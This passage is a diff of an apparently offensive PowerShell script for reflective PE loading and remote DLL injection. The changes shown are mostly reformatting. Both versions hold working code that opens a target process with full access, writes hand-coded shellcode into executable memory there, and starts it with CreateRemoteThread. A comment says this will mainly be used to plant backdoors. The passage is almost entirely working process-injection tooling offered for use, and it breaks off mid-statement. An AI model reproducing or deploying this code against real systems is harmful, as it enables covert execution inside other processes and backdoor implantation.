the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null - } - else - { - $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - if ($PEInfo.PE64Bit -eq $true) - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem - Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - } - elseif ($PEInfo.FileType -ieq "EXE") - { - #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process - [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) - [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) - $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr - - #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread - # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. - [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." - - $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null - - while($true) - { - [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) - if ($ThreadDone -eq 1) - { - Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants - Write-Verbose "EXE thread has completed." - break - } - else - { - Start-Sleep -Seconds 1 - } - } - } - - return @($PEInfo.PEHandle, $EffectivePEHandle) - } + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } - Function Invoke-MemoryFreeLibrary - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $PEHandle - ) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Call FreeLibrary for all the imports of the DLL - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done unloading the libraries needed by the PE" - break - } - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) - $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) - - if ($ImportDllHandle -eq $null) - { - Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue - } + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } - $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) - if ($Success -eq $false) - { - Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue - } + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - - #Call DllMain with process detach - Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } - Function Main - { - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants - $RemoteProcHandle = [IntPtr]::Zero + $RemoteProcHandle = [IntPtr]::Zero - #If a remote process to inject in to is specified, get a handle to it - if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) - { - Throw "Can't supply a ProcId and ProcName, choose one or the other" - } - elseif ($ProcName -ne $null -and $ProcName -ne "") - { - $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) - if ($Processes.Count -eq 0) - { - Throw "Can't find process $ProcName" - } - elseif ($Processes.Count -gt 1) - { - $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId - Write-Output $ProcInfo - Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." - } - else - { - $ProcId = $Processes[0].ID - } - } - - #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. - #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege - # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) - # { - # Write-Verbose "Getting SeDebugPrivilege" - # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - # } - - if (($ProcId -ne $null) -and ($ProcId -ne 0)) - { - $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Throw "Couldn't obtain the handle for process ID: $ProcId" - } + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } - Write-Verbose "Got the handle for the remote process to inject in to" - } - - - #Load the PE reflectively - Write-Verbose "Calling Invoke-MemoryLoadLibrary" - $PEHandle = [IntPtr]::Zero - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs - } - else - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle - } - if ($PELoadedInfo -eq [IntPtr]::Zero) - { - Throw "Unable to load PE, handle returned is NULL" - } - - $PEHandle = $PELoadedInfo[0] - $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process - - - #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) - { - ######################################### - ### YOUR CODE GOES HERE - ######################################### - switch ($FuncReturnType) - { - 'WString' { - Write-Verbose "Calling function with WString return type" - [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" - if ($WStringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) - [IntPtr]$OutputPtr = $WStringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) - Write-Output $Output - } - - 'String' { - Write-Verbose "Calling function with String return type" - [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" - if ($StringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) - [IntPtr]$OutputPtr = $StringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) - Write-Output $Output - } - - 'Void' { - Write-Verbose "Calling function with Void return type" - [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if ($VoidFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $VoidFuncDelegate = Get-DelegateType @() ([Void]) - $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) - $VoidFunc.Invoke() | Out-Null - } + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output } - ######################################### - ### END OF YOUR CODE - ######################################### - } - #For remote DLL injection, call a void function which takes no parameters - elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) - { - Throw "VoidFunc couldn't be found in the DLL" - } - - $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle - $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle - - #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions - } - - #Don't free a library if it is injected in a remote process - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Invoke-MemoryFreeLibrary -PEHandle $PEHandle - } - else - { - #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - Write-Verbose "Done!" - } - Main - } + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } - #Main function to either run the script locally or remotely - Function Main - { - if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) - { - $DebugPreference = "Continue" - } - - Write-Verbose "PowerShell ProcessID: $PID" + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw 